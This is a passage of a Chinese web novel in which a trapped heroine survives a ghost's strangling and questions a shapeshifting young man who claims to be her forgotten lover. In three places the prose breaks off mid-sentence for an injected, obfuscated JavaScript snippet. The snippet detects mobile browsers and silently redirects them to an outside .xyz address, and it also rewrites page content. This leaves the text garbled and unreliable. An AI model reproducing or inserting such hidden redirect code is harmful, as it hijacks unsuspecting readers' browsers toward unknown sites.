“每次我都好痛,妈妈也好痛,我们都好痛好痛……那个地方白白的、冷冷的,总有种很呛人的味道,闻了难受,我不喜欢……” 她还在自顾自喋喋不休,但很自觉地从我身上爬下来了。 胃里空空,只能徒劳地挤出一些酸水。我拿衣摆擦了擦嘴,抓出一包饼干,撕开,双手颤抖地送入口中,咀嚼。 “姐姐你在吃东西吗?” 小女孩好奇地凑过来。她看不见,于是只能用鼻子左嗅嗅、右闻闻,“这东西一点儿也没有你香。” 我咽下最后一口,没有水,干渴得要命,饼干渣似乎能把我的喉壁扎出伤口。 听说人倒霉的时候喝凉水都会塞牙缝,这饼干怎么没把我也一起噎死呢? 我说:“我不会带你去找你爸爸的。” “为什么?”她明显一愣,估计没想过我竟然敢拒绝她。 “这就是个虚拟的世界、虚拟的空间,明白吗?” 我再也忍不住,朝着她失控大吼:“这一切都是假的!你是,你的痛苦也是!” 声带颤动的余韵还没消失,脖颈间便乍然一痛——犹如密不透风的潮水,窒息劈头盖脸朝我砸下——她像颗小炮弹一样猛冲过来,突地将我撞倒在地,骑跨而上,死沉死沉。那双脏兮兮的小手死死掐住我脖子,刀尖似的指甲狠狠刺入我后颈! “你撒谎,你撒谎!” 她又哭又闹,尖利的叫声刺得我耳膜嗡鸣阵阵,几欲失聪,“我怎么可能是假的,我绝对不可能是假的! “不带我找爸爸就去死!” 这次她是真的想杀了我! 像一条濒死的鱼用尽最后的力气拍击着甲板,我奋力挣扎着、扑腾着,大口大口地喘气,胸膛起伏得像鼓风箱,竭力从她的指缝间捕捉哪怕一丝一毫的空气。但她如一块不可掀翻的巨石始终沉沉地压着我,不复先前轻得像一片羽毛的重量。我口腔里泛起铁锈味,头脑渐渐空白,意识不断涣散,四肢也开始不由自主地抽搐,周遭的一切声音和色彩都在远去…… 也许我今天就要交代在这儿了。 我能回到现实世界吗? 还是说,这一切其实只是一场彻头彻尾的骗局,人死了就是死了,根本不存在所谓的“游戏”? 这些,我都无法得到答案了。 我慢慢闭上眼。 “盛……醒!” 不知从何时起,身上的巨石变得像羽毛那样轻,一股清新的气流如疾风骤雨冲刷着我的气管和肺部。 我像一具尸体般瘫在原地动弹不得,许久才意识到那不是濒死前的幻觉,于是挤出了一分气力,努力了好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609681|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,才艰难地撑开眼皮。 首先映入眼帘的,是一张色泽鲜亮的唇,唇角左下方缀着一颗小小的痣,在我眼前晃来、晃去,晃来、晃去…… 我的视线焦点空茫地集中在那上面,将其当成了一根救命稻草,眼睁睁望着它起伏不定。 然后蓦地放大—— 唔! 又一股气流猛然吹入我口中,枯竭的肺泡再次充盈起来。胸口被一下一下大力按压,又不知过了多久,我周身一颤,视野一点一点恢复清晰。 “盛夏,你醒醒!”我的人中还在继续被按压。 这人的指甲应该剪得很干净…… 但还是好疼。 “咳咳……咳!” 我剧烈地咳嗽一阵,仿佛要把自己的肺也给咳出来了。 终于喘过那口气后,我抬手,虚空抓了几下,才终于抓住他,“可以了,我醒了。” 他立刻停手,还挺听话。 我颤巍巍爬起来,看向他,视线一触及那张脸,脑袋里顿时嗡的一声—— “你是谁?” "Could''vebeenanyone..." 歌声似乎在十分渺远之处响起。 片刻之后,我才听清,它并非从遥远的地方发源,随着四海为家的风远渡重洋,千回百转机缘巧合之下,才抵达我耳中。 而是来自于颅内深处。 我想每一个第一次见到他的人,都无法不发自内心地感叹他的美丽——无论是微翘的发梢、凄艳的红唇,还是苍白的皮肤、幽深的瞳孔,似乎都充满了磁铁般的吸引力。 甚至用“漂亮”来形容他,都是一种贬低。 但——他不是我们六个中的任何一人。 见我还有力气爬起来,他刚舒了一口气,闻言,脸上尚未及收起的笑容又一点一点凝固,肉眼可见地变得僵硬。 “你不记得我是谁了?” 质问一般,他似乎一时半会儿接受不了这一事实,不敢置信地望着我,表情明明冷若冰霜,眼圈却渐渐红了,眼底慢慢渗出一滴泪,挂在不断颤抖的下睫毛上,将掉不掉,极脆弱的样子。 呃!我承认自己有一瞬间的心虚,“我……应该,记得你吗?” “你……” 他闭了闭眼,正努力忍受着什么似的,喉结不时滚动,眼睫毛因濡湿而变得沉重,那滴眼泪便被迫得直直坠落而下。 啪嗒一声,我手上一凉,目光拂过潮湿的掌心……然后才慢半拍地反应过来,自己竟然下意识伸出手去,用掌心接住了这滴泪。 美色误人啊! “不是不是……” 我用另一只手拍拍脸颊,竭力保持清醒的状态,刚打算分辩,一抬头,对上他那双写满控诉和委屈的眼睛,登时又偃旗息鼓了。 他哭了他哭了我要怎么办我要怎么办…… 我底气十分不足,也不敢看他的眼睛,只好避开他赤裸裸的炽热视线,盯着他秀丽精致的鼻梁,硬着头皮说实话:“我失忆了,真的想不起来你是谁,对不起。” 实在无法跟对方对视的时候我就会使出这一招——看鼻梁看眉心看眼睫毛,就是不看瞳孔。 “失……忆了?” 他蓦地顿住,湿漉漉的睫毛也跟着一颤,片刻后,投向我的眼神转为审视,似乎在思索这话的真实性—— 不对。 他还审视上了?我俩啥关系都不知道,我就搁这儿心虚上了?就因为人家长得好看? 这念头如一盆当头冷水倏然浇醒了我。 我霍地站起,俯视着他,说:“你还没告诉我,你是谁。” 俯视的视角能给对方造成心理上的压迫,我得让他跟着我的节奏走,彻底处于我的掌控之中才行。 “你……还是老样子没变,戒备心很强,这是好事。” 他的视线落在我按住口袋的那只手上,很勉强地一笑,眼睛又渐渐湿润起来,薄薄的眼尾都染上嫣红。 “你不用担心,我不会对你做什么的。因为我是你的……” “我的?” 我紧跟着重复,眼皮一瞬不眨,紧紧盯着他,想看看他到底要耍什么花招。 “恋人。” 22. 胡说八道(1) 轰隆隆—— 轻飘飘的两个字,却像五雷轰顶,瞬间劈得我外焦里嫩。 我脑子乱糟糟的,张了张嘴,却发不出任何声音。 许久,我才听见自己发号施令般,道:“站起来。” 说完,我才觉得自己语气有些生硬严厉,冷冰冰的挺吓人。正打算再说些什么软和的来弥补,却见他一声不吭,很听话地站起来,顶着两只红肿得像桃儿的眼睛,乖巧地走到我面前。 他怎么一副习以为常的样子?! 直接给我看傻了,我恍惚间竟然觉得自己在训狗。 门牙有点干,我尴尬地把嘴皮子从牙上拿下来,半张着的嘴一闭,甩甩头,尽力把脑子里咕噜咕噜不断冒泡的念头全部甩出去。 “你怎么可能是我……我男朋友?” 苍天啊,我这辈子竟然还有谈恋爱的一天?乱说话也得有个限度,真是张口就来。 看来为了博取我的信任,这人已经不择手段了。 我冷笑着质问他:“如果你真是我对象,难道还能不知道我是不婚主义者吗?” 他吃痛般眨了下眼,面颊刚泛起的些许红晕霎时又褪得干干净净—— “我知道的……但是你亲口说过,即使是不婚主义,但对象如果是我的话,也愿意谈恋爱试试看的。” 听他这意思……难道是我主动追的他? 而且,咳咳,这副长相,如果是这种等级的美少年,以我的尿性,好像……的确能说出这么臭不要脸的话? 再说了,据他所说,我只说可以恋爱试试,又没说结婚,看来我的脑子还没有完全被美色蒙住。 “而且我不会逼你结婚,我只想和你在一起,除此之外我别无所求……想让我结扎也行,我、我有信心能把你照顾好!” 妈呀大哥,虽然你长得的确很漂亮,是我喜欢的类型,甚至是天菜……但我们这才第一次见面吧,我连你是谁都不知道呢,怎么连逼婚和结扎都出来了! 天底下没有免费的午餐,这道理我可是清楚得很。虽然我条件也不差。 然而他还在喋喋不休继续往下说,跟应聘似的,有的没的全一股脑往简历上写: “我知道你讨厌味大的葱姜蒜、让你浑身起鸡皮疙瘩的胡萝卜、最不能理解为什么存在的芹菜、抹布味浓郁的莴笋、口感怪异的枸杞和葡萄干,还有吃了会让你舌头发麻的红枣……” 此刻就算没照镜子,我也知道自己的眼睛一定瞪圆了,越睁越大—— 还真他爹给我全说对了! “我还知道你喜欢吃海鲜、牛肉、竹笋、菌菇、野菜、排骨汤、蛋糕、奶酪、薯条、烧烤、西瓜,一丢丢辣都不能碰,非常喜欢喝可乐,粽子吃咸的,豆脑吃甜的,月饼只吃咸蛋黄口味,爱好游泳、射击、数独和硬笔书法,有洁癖和强迫症……” 这也全对了?! 我天……我敢说我妈都无法了解我到这份上吧? 简直是我肚子里的蛔虫成精啊! “今年22岁,身高一米六八,鞋码37,本科毕业于澳大利亚墨尔本大学人类学专业,母亲是医生,父亲是建筑师,最喜欢的季节是夏天因为你讨厌寒冷,理想型是——” “好了好了!” 再说下去我盒都被你开完了! 他越说语速越快,眼泪也吧嗒吧嗒越掉越欢,搞得好像我欺负他似的。我本来面无表情地听着,整个人都麻了,但他一哭,又实在看不下去,只好暂停装死先行喝止。 哭哭哭,成天就知道哭,哭得我心烦意乱的,福气都给你哭没了! 不过上述这些,除了尚未恢复的部分,其余都与我的记忆不差毫厘,比如洁癖和射击,还有身高鞋码等等。 包括这几天我去餐厅用餐,也的确是会下意识避开他提到的那些食物,对辣菜更是绕道走。 他抽抽搭搭地还要继续说,被我一把捂住嘴,“所以我是因为你能给我当免费保姆才答应跟你在一起?” 抛开脸不谈,他…… 不对,抛不开。 也太没出息了吧。 我是说我自己。 难道天底下真有免费的早餐和晚餐? “唔唔……” 差点忘了——我紧急撤回一只手。 捂在他嘴上的那只。 哎呀,手上的血沾到了他的脸。没被发现吧? 不过这样,他看起来就更像什么蛊惑人心的妖魅了。 “不是……” 他面上浮现出恰到好处的羞赧,忸忸怩怩道:“是你先追的我。” 什么?! 我简直不敢相信自己的耳朵究竟听到了什么。 “我?” 我指指我自己。 “主动追求你?” 我反手指了指他。 “嗯嗯。” 一听这话,他面红耳赤,呼吸倏地急促起来,就连苍白的脸颊都浮起血色了。 “别搞笑了!”我不以为意,只当他满嘴跑火车,“那你倒是说说,我当初是怎么追你的?” 我还能有主动追人的一天?到底是有多爱啊? “高三的时候,你给我递了情书,但是我拒绝了,觉得我们当前应该以学业为重。” 我脸一黑——我居然还被拒绝了? 而且在高三那么紧要的关头递情书,怎么也不像我能干得出来的事情啊? 如果把双方当事人调换位置,那听起来还有说服力一些——毕竟“以学业为重”这种拒绝人的借口,怎么听都是我的台词。 亏他还说得有鼻子有眼的。编,我看你怎么编! “但是当天我回去后,认真思考了一晚上,觉得自己也很喜欢你,所以也写了一封情书,向你诚恳地表达了歉意和爱慕之心,并郑重地重新提出了交往请求,只是执行日期定在高考后。” 他眨巴眨巴通红的眼皮,神色认真,不似作伪。 偏偏嘴里说着不知道用哪个部位想出来的词。 我觉得我俩像在演舞台剧。萧鸮要是能看到,肯定又要起哄了。 订了婚的叫未婚夫妻,那我们这叫什么?未恋情侣?好扯。 等等——这不就是那种,把“我追过校花”和“我和校花谈过”划上等号的普信男发言吗? 唯一不同之处在于…… 我把他从头到脚来来回回扫视了个遍,直勾勾赤裸裸毫不掩饰,直盯得他羞羞怯怯,小媳妇样垂下了头,几乎呈鸵鸟状缩进胸口。 说实话,他的外貌的确一点儿也不普通,只是这发言……让人不敢恭维就是了。 “但是,你没有履行承诺,高考完后就出国了,抛下我一走了之。我本来还满心期待和你报同一所大学,与你展开一段刻骨铭心的校园恋情,岂料却等来了你出国的噩耗……” 他说着说着,忽地鼻子一抽,嘴角憋不住地向下弯,好不容易干燥的眼睛又变得泪濛濛的,一副被负心人欺负惨了的样子。 负心人本人实在很头疼。 都说女人是水做的,我看他才是水做的!才没说到两句话就又要哭,在这缺食少水的封闭酒店,哪儿来那么多水供他哭! 过去的我真的会答应和这么一个爱哭鬼在一起吗? 成天哭哭哭的,难道不觉得烦吗? 我屈指,往他下巴上一勾,视线焦点笔直地锁定他那双泛泪的桃花眼—— 可是刚勾上去我就觉得不对劲:他长得太好看,表情也过于纯良,委委屈屈往那儿一站,也不说话,倒衬得我就跟个调戏良家妇女的流氓一样。 “你很漂亮,知道吗?” 他难为情地点点头,我能感受到自己指腹下的皮肤在一点一点变得更烫…… 糟糕,更像强抢民男了。 我赶紧撒手,一点滑腻的触感却留在指尖上,迫使我不由自主捻了捻。 长得不好看,估计也没脸编出“我主动追求他”这种离谱剧情——就像天才不可能不知道自己是天才,我对自己的魅力还是挺有自知之明的。 “所以,如果我跟你谈恋爱,怎么可能会抛下你,不告而别?” 我应该不是那种抛夫弃子的人渣吧? 不对,嘴快了,我俩哪儿来的孩子。 他没有说话,只是用充满谴责意味的眼光哀怨地望着我,恰到好处地,一滴热泪滚滚而下,还正巧不偏不倚掉到我手背上—— 我像被烫着了似的一缩手,往后退了两步——实际上只是躲闪不及罢了。就在这电光火石间,我望向他头顶,打量了一下与天花板之间的距离,如梦初醒道: “你是黛西?” “或者说,你假扮成了黛西?” 他一怔,仿佛被无形的力量定住了一般,脸上的羞怯刹那间收得干干净净。 哈,变色龙。 果然,一被我拆穿,就装不下去了。 然而他却丝毫没有表现出诧异和被拆穿后的恼羞成怒,反倒很平静地微微一笑,“你是怎么知道的?” “身高。减去鞋子的大致高度后,我发现你和黛西原本的身高相差无几。” 我们六人的身高都各不相同,只要找到一个参照物,就能很容易地记住。 而我选择的参照物是无处不在的天花板,想要比较的时候,一抬头,就无处遁形。 像个照妖镜一样。 如果条件允许,比如此前曾与测算目标有过近距离接触,我还会用自己当作辅助参照物——幸好在我们第一次见面的时候,我们的确曾凑得极近,近得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609682|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我几乎都要撞上她了,虽然后来我也没搞懂自己怎么会突然犯迷糊…… 总之,得益于那次机会,我习惯性地记住了黛西的身高:撇去鞋子的大致高度后,我的视线齐平点,大约落在她人中处,鼻尖与上唇之间。 这大概也是我对她的唇钉印象如此之深刻的原因。 一通百通,这么一看,我顿时发觉他的唇形特别眼熟。 一想到这几天在黛西那里吃的瘪我就来气。这家伙不知道哪根筋搭错了,一个劲专逮着我怼,我都不知道自己哪里惹到她了。 原来是在这儿等着我呢。 我们之间到底曾有过怎样的爱恨情仇,我真是越来越好奇了。 他粲然一笑,说:“你比高中的时候更聪明了。” 话音未落,蓦地,他发上浓墨一寸一寸褪去,灿金色自发尾一寸一寸徐徐攀缘而上。酽如点漆的双眸中心也逐渐浮现出两颗荧荧丹砂,散发出慑人心魄的幽光。 直直对上时,我心底骤然产生了被摄像头所窥视的不适感。 要是再将挽在右耳后的头发放下来,挡住半边脸,此刻站在我面前的,活脱脱就是黛西本人了。 表情要是再拽点儿,拽得六亲不认,再贴上满脸钉子,那更是一模一样——哦,我懂了,怪不得第二天,他换了一身童话风的可爱穿搭,却还是要戴那颗格格不入的唇钉,原来是为了遮挡唇边痣。 而且也不是真唇钉,贴上去的罢了。 言归正传,他所做的竟然只是换了个发色和瞳色而已,五官变动似乎也不大,给人的感觉却这么不一样。 唯一不变的是苍白的肌肤,比起原来那个“黛西”,肤色不够红润健康。 这家伙,该不会肾虚吧? 我隐约记得好像看过一篇公众号文章,标题是《震惊!这样的男生千万不能谈!》,里面就有讲过,手脚冰凉的男生一定是体虚,放在女生身上可能是正常现象,但换作是男生的话,还是及时就医的好。 思及此,我一把抓住他的手——得,都能当冰箱使了。 这家伙还是活人吗,这么寒? 我看我这种天生体寒的,体温估计都比他高。 还有,他虽然长得好看,可是肾虚哎……难道鱼和熊掌终究是不能兼得吗? “你——” “你是怎么变成这样的?就是,嗯……突然换了副样子。” 仅仅只是抓个手而已,他白皙的面皮又一红,话刚起了个头,却没料到我也同时开了口,于是乖乖闭上嘴等我先说完。我想着不能白打断他,干脆也就顺着说下去了。 “这是我的异能【三流惊悚小说家】的效果。” 他目不转睛地望过来,其中满溢的专注和柔情,恐怕就连瞎子都会被灼伤。我被这样的眼神看得头皮发麻,忍不住侧过脸躲闪。 呃别这样看我啊!我一身泥! 咦,对了,既然他可以变成黛西——不,倒不如说他其实就是黛西……那他为什么不变成“黛西”的样子再出现在我面前呢? 在这个节骨眼上自爆卡车,对他来说有什么好处? “我可以在自己的异能领域里随时改头换面,但只有身高,和这个——” 他说着,指了指自己的眼睛,“无法改变。” 原来是异能导致的吗?我一直以为这对摄像头一样瘆人的眼眸是美瞳的功劳,因为我看过黛西的照片,知道她的瞳色如海洋一般纯净辽远,绝不可能是现在这副模样。 “异能?异能领域?” 我疑惑地跟着重复。 终于听到了熟悉的词汇。我想,他和萧鸮所说的,应该是同一个意思。 “对,因为这里是一片异能领域,只有异能拥有者才能进入,普通人是不可能进得来的。” 他试探地问我:“你把自己的异能也忘了吗?” 脑子越来越乱了,那股针扎般的疼痛便趁虚而入,再度卷土重来。 我本来还想装若无其事,但实在太疼了,不得不抬手捂住太阳穴,忍无可忍道:“这里是你的异能领域吗?能不能现在就解除?我想回到现实中去。” 就不能有一支佐米曲普坦鼻喷雾剂莫名其妙降临在我手心吗?! 但用脚指头想也知道,被困在这里,上哪儿去找治偏头痛的药?房间里的小医药箱也没有,否则我第一天就用上了。 “你怎么样?” 他也看出来我的不对劲,十分自然地过来扶住我的肩,焦急关切溢于言表,“要不要先回去休息? “我、我的天赋一般,高中时没能成功觉醒异能,是最近才觉醒的,自己也不知道怎么解除……如果你没失忆的话,说不定还能教教我。” 哈……该死,这失忆到底是怎么一回事?! 23. 胡说八道(2) 不过聊了这么久,我总算抓住一个关键点:“你叫什么名字?今年多少岁?” 看来当前最重要的还是恢复记忆,否则不管是逃离这里也好,想要核实他的话也罢,都束手束脚,无法实现。 “柳白巳,20岁。” 他瞬间哽咽,一副又要哭鼻子的样子。 哟,还是年下。不就是忘了他的名字吗,多大点儿事,到底在委屈个什么劲儿! 我连他整个人都忘得一干二净了,难道他还要为了忘记名字这种小事伤心难过吗? 真是有够矫情的。 “柳?willow……你就是W?!”我猛然醒悟过来。 “对。”他扁着嘴点点头。 “那封邮件也是你发的?” “是我作为‘黛西’发的。”虽然我并没有挑明是什么邮件,但对于我意中所指,他明显再清楚不过。 “你作为‘黛西’?” 我又有点听不懂了。 “对呀。这个异能领域目前是一场RPG游戏,每个进入其中的异能者都需要扮演一名角色,并完成作为该角色时被系统分配到的任务。” 男性玩家也能扮演女性角色吗? “你的异能领域是个RPG游戏?” “不是。但这里的确是我的异能领域。” 在说绕口令吗? 听不懂,头痛。 “因为这是你的异能领域,所以你在这里面?” “不是。是因为我知道你被困住了,所以才进来救你。” 乱七八糟的,这说的是人话吗?怎么听得我越来越糊涂了。 但如果他真的是W,那我的任务是不是又完成了一项? 想到这里,我顿时心潮澎湃,似乎连头痛也缓解了不少,当即拉着他就要走。 “那这个要怎么办?” 他罕见地没顾得上脸红,而是先指了指地上的某物。 我低头一看——原来是那个小女孩,正被银色的皮绳牢牢绑住手脚、卡住口鼻,整只鬼像条人彘似的,在地上一弓一弓地蠕动。 见我低头,她还用充满不甘和愤恨的眼神使劲瞪我,一副恨不得把我生吞活剥的样子。 “把她关起来吧,她……她本来没想杀我的。” 我上前,一把拎起捆住她的皮绳,将她整个儿像拎年猪那样,双手分别提起一前一后并排绑好的四肢,拐过最后一个九十度角,穿过走廊往504里送。 “她怎么会不想杀你?” 闻言,柳白巳冷笑一声,不赞同地一蹙眉,周身气息瞬间阴冷下来——见我没理他,只好紧走几步追上。 走廊内的空气仿佛变得重水一般又粘又稠,沉沉地压得人喘不过气。 “要不是我及时赶到,你知道会有什么后果吗?盛夏,你要不要照照镜子,看看自己现在究竟是什么鬼样子?” 不等我反应,他已经从不知道什么地方掏出一面小镜子,往我眼前一送。 都举到跟前了,我也就顺势朝里瞥了一眼: 眼白密密麻麻全是血丝,改名叫眼红也不为过;脸部皮肤紫红一片,跟灭霸有得一拼——定睛一瞧,几乎都是一颗颗再小不过的出血点,退远几步看,密恐就要犯。 我知道这全是由于压迫造成的毛细血管破裂,幸好柳白巳解救及时,表皮还完好无损,所以仅仅只是皮下出血的程度。 但也已经足够吓人的了。 “亏你还能对着这副鬼样子编出那么多深情款款的话,真是难为你了。”我脚步不停。 所以“黛西”那副操天日地的样子,实际上也不是他演出来的咯? 要真是爱侣,还会像这样互呛?我没谈过恋爱不知道啊。 “好不容易能见到你,让我煽情一下怎么了?” 柳白巳紧紧跟在后面,理直气壮道。 好不容易?我们不是情侣吗?聚少离多?异国恋? 刚才他的爱情故事说到我出国就没有下文了,我还挺期待他会怎么往下编呢。 我刷卡,一脚踢开门,不顾她嘴里呜呜叫唤,把小女孩往里头一扔,嗵一声重重摔上门,再双手捏住房卡,用力一掰—— 咔嚓一声,这房卡就彻底报废了。 但在视野的最后,我的目光穿过房门缝隙,落在小女孩被紧紧束缚着的双脚上—— 红皮鞋被门板吞没的刹那间,有什么东西从我脑海中一闪而过。 是什么呢? 我努力试着回想,半晌后却宣告失败了。 不过,房门的感应系统还能用,说明有应急电源!进一步说明电路并不是没得修! 暂时想不起来也没关系,不影响我发现另一件喜事,所以我也并不十分纠结气馁。 然而还没等我转身,冰寒迫人的气息陡然欺近,腰间猛地环上来一条结实的手臂——我背脊一僵,大脑也跟着卡壳了片刻,这才意识到自己这是被背后抱了。 失策了!怎么能把后背露给一个尚且来路不明的人! 我刚想挣扎,屈起手肘就欲往他腹部撞击,却感觉到凉飕飕的气息密密喷洒在脖颈上,激得我骤然起了一身鸡皮疙瘩,动作也本能迟缓了几秒。 于是这几秒的空当便顺理成章成了我拱手相让的机会。他埋首于我肩颈处,长长地舒出一口气,良久,才喟叹一声:“好想你。” “我人不就在这里吗?” 他好像没有伤害我的意思。 对,先观望一下他到底要干什么,敌不动我不动。 他保持着埋肩的姿势,毛茸茸的头发蹭了两下,蹭得我脖子痒痒的——虽然我看不到他的动作,但想必应该是在摇头,“不止在这里,也想在现实中见到你。” 心中名为“怀疑”的那杆秤,原本处于平衡位置的指针突然跳动起来,举棋不定地摇摆,几次呼吸后,颤颤巍巍倾斜向一侧。 我心头咯噔一下,说:“我现实中和在这里长得不一样吗?” 柳白巳啊柳白巳,我可是因为你能完美地说出所有我喜欢和不喜欢的事物,才选择暂时相信你的啊。 你可不要,让这份岌岌可危的信任顷刻崩塌啊。 否则的话,那样会显得我轻信于人,很不谨慎。至于可不可笑,倒变成次要的了。 因为“选择相信你”这件事,本身就已经有违于我往常的行事风格,且将来自第六感的疯狂警告置之度外—— 不过没关系,我并非不给自己留后路的人,我的手肘始终抵在他肚子上,要是他突然发难,就看我们谁的动作更快了。 然而,柳白巳却蓦然笑起来,非常悦耳,声音还是闷闷的,毫无温度的嘴唇渐渐染上了我皮肤的热,“你在游戏中的样子比现实中要成熟好多。而且……” 他松开我,冰凉的双手扶在我肩上,把我掉了个面儿,朝向他,然后蜻蜓点水般,葱白指尖掠过我长及肩颈的发尾,比划了一下,“头发没有这么短。” 难怪扮女装一点也不违和,那些小裙子简直就是为他量身打造的——这个人连手都这么漂亮。 “你高中的时候,可是很喜欢扎活力十足的高马尾,把整张脸都露出来哦。”他笑眯眯道。 我不自在地偏过头,躲开他的视线,“我不记得了。” 他这么说,我难免会觉得愧疚,但又分不清这究竟是不是他有意为之,因此这愧疚也不上不下,如鲠在喉。 “唉……”他长叹一声,语气里满是掩饰不住的惆怅和失落,“这一切终究只有我记得了吗?” 他看起来是真的很受伤,神情脆弱,就连乌黑的眼珠也失了光彩,灰蒙蒙覆上一层阴翳。 他越这样我越不敢直视他,本想说些安慰的话,张张嘴,却不知道说什么好,最终只能徒劳地站在原地,更深地偏过头,努力不去在乎这样是否会令他伤心难过—— 这样面对面的站位,不免让504那扇深色的房门暴露在他的视野中。 而他也恰如所料,视线越过我肩头,在门上停驻了片刻。 门里静悄悄没有动静。因为早在柳白巳解救我之时,那个小女孩就已经被里三层外三层捆得严严实实,连嘴都被勒住,像头拔了牙的老虎—— 这一瞬间我豁然贯通。 刚才我隐约察觉整个过程尚存疑点,偏偏又找不出疑点藏在哪儿,这下可算想明白了: 这小女孩力气大得超乎常人,唯一的热武器在我手上,现场又没有看见其它强有力的攻击性武器,柳白巳是怎么制服她的?毕竟他看起来战斗力还没我强。 捆住她的东西究竟是什么?柳白巳又是从哪儿弄来的? 如果我没看错的话,那条皮绳上似乎遍布着细小的纹路,流光溢彩,乍一看还有点像白蝶贝。仔细回想形状和走势……好像是鳞片? 心念电转间,柳白巳的目光已经收回来,重新落到我身上。 我没叫他发现我的走神。 半晌之后,他又终于忍不住似的,微微俯下身——我感到额头被轻轻触碰了极短的一瞬,下意识一抬眼,正好对上那双嫣红的唇。 左下角的痣晃眼得勾人。 这样惊心动魄的美……即使是我,会为之心醉神迷,应该也不难理解吧。 “小夏,你太心慈手软了。” 一触即分,末了,他总结似的道。 你错了,我一点也不心慈手软。 不知何时起,我的手掌已循着本能,借着双手抱胸的动作插进口袋中,指腹细细摩挲过坚硬冷沉的金属枪身,轻车熟路地勾住扳机。 多么令人着迷啊,射击。 子弹命中目标的那一刻,我心中产生的快感是无与伦比的。 就不知与啜饮花冠上的朝露相比,哪一个更令人身心愉悦了。 心里虽然冷笑,我却没有吭声,等着他把话说完。 “但是……”柳白巳专心致志地盯着我,眼皮粉扑扑的,那是刚才哭过之后留下的痕迹,残红未消。 明明距离额头上那个吻才没过多久,他又按捺不住地,一下一下在我脸上啄吻,一副小鸡啄米样,迫得我不由稍稍闭了闭眼,“我会保护你的!” “这里怎么说也是我的异能领域,相信我,我一定、一定,不会让你再受到伤害。” 拉倒吧你,嘴上说得好听,要真不想让我再受到伤害,那你直接把异能收走不就完事了吗?从根源上解决问题,一了百了。 说自己对异能的操纵还不熟练,简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609683|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是滑天下之大稽。异能者操控自己的异能,只要清楚启动方法,就像吃饭喝水那样简单,出于本能便天然地知道该怎么做,现成的例子就是我本人。 所以,他还觉得我会相信这种鬼话吗? 但我就算杀了他也于事无补——异能一旦施放,即使拥有者身死,也不会马上消失。先贤所谓“不失其所者久,死而不亡者寿”,阐述的不正是如此吗? “是吗?” 在位于他绝对视野盲区的口袋中,我松开了虚虚扣在扳机上的手指,漫不经心道:“你的承诺,听起来好幼稚。” “明明就很认真嘛。”他不满地抱怨,自动跟上我往回走的脚步。 那种被人窥探的阴森不适感暂时消失了。虽然还没去过更高的六楼,但我仍旧计划先打道回府,看看我的任务有没有完成。 天色已经差不多黑了,走廊上窗户不多,光线稀疏,周遭昏昏,如坠迷雾。 我想省下手电筒中的电,就没开,只靠眯起眼努力辨别可能成为障碍物的轮廓,再绕开它们走。 “怎么不开手电筒?你不是有散光吗?这样能看得见?” 刚步入更为晦暗的楼梯间,身后的脚步声遽然急促起来——“看路!” 小臂上一沉,柳白巳紧走几步,一把拉住我。 我低头,一眯眼,才勉强辨认出来,自己竟已脚下悬空,这一踏下去,只有后脚跟能挂住台阶。 步子迈得太大,要真踩下去,恐怕一脚就能跨到外太空去,还用坐什么飞船,金星就近在眼前。 跨了就跨了,原本不算什么大事,但我这人有个毛病:虽然自身平衡感很好,但下楼的时候,如果脚底板已经下降到了我预想的高度,却依旧没有落在实地上,我会因为心里没底而腿一软。 就算本来能及时收回脚避免摔跤,但却因为心中慌乱、重心倾斜,总免不了跌个狗啃泥。最严重的一次,嘴唇生生擦掉一层皮、血流不止不说,还崴了脚,踝关节错位,不得不将养了好久,真是痛不欲生。 伤筋动骨一百天啊。 “谢谢。”眼下的情况,受伤的确不值当。我也没心思跟柳白巳犟嘴,咔哒一声打开手电筒,往他手里一塞,自己则专心看脚下,好好走路。 见我让他当路灯,柳白巳愣了一瞬,继而扬扬眉,十分尽职尽责地举高手臂,边缘模糊的巨大光圈便笼罩住前路,数不清的灰尘颗粒在光柱中漫无目的地游荡。 后来再没遇到什么阻碍。我们顺利下了楼,穿过大门——万|能|钥|匙只有一把,要是把锁挂在外面,没有钥匙的其它人就进不来了;但要是不锁门,万一“那些东西”闻着味,趁机潜入怎么办? 所以在分头行动之前,我们抽了根鞋带,用齐柏林结把两根门把手扎紧—— 这种绳结非同一般,不懂解法的人来,只会越拉越紧;而清楚解法的人来,即使绳结已经被拉紧到极限,也能轻松解开,不会形成死结。 要问为什么用鞋带——那当然是因为无论哪里都找不到绳子啊!这游戏大概很怕玩家玩不下去上吊自杀脏了它的地儿。 齐柏林结还没解开,证明我们是最先回来的。 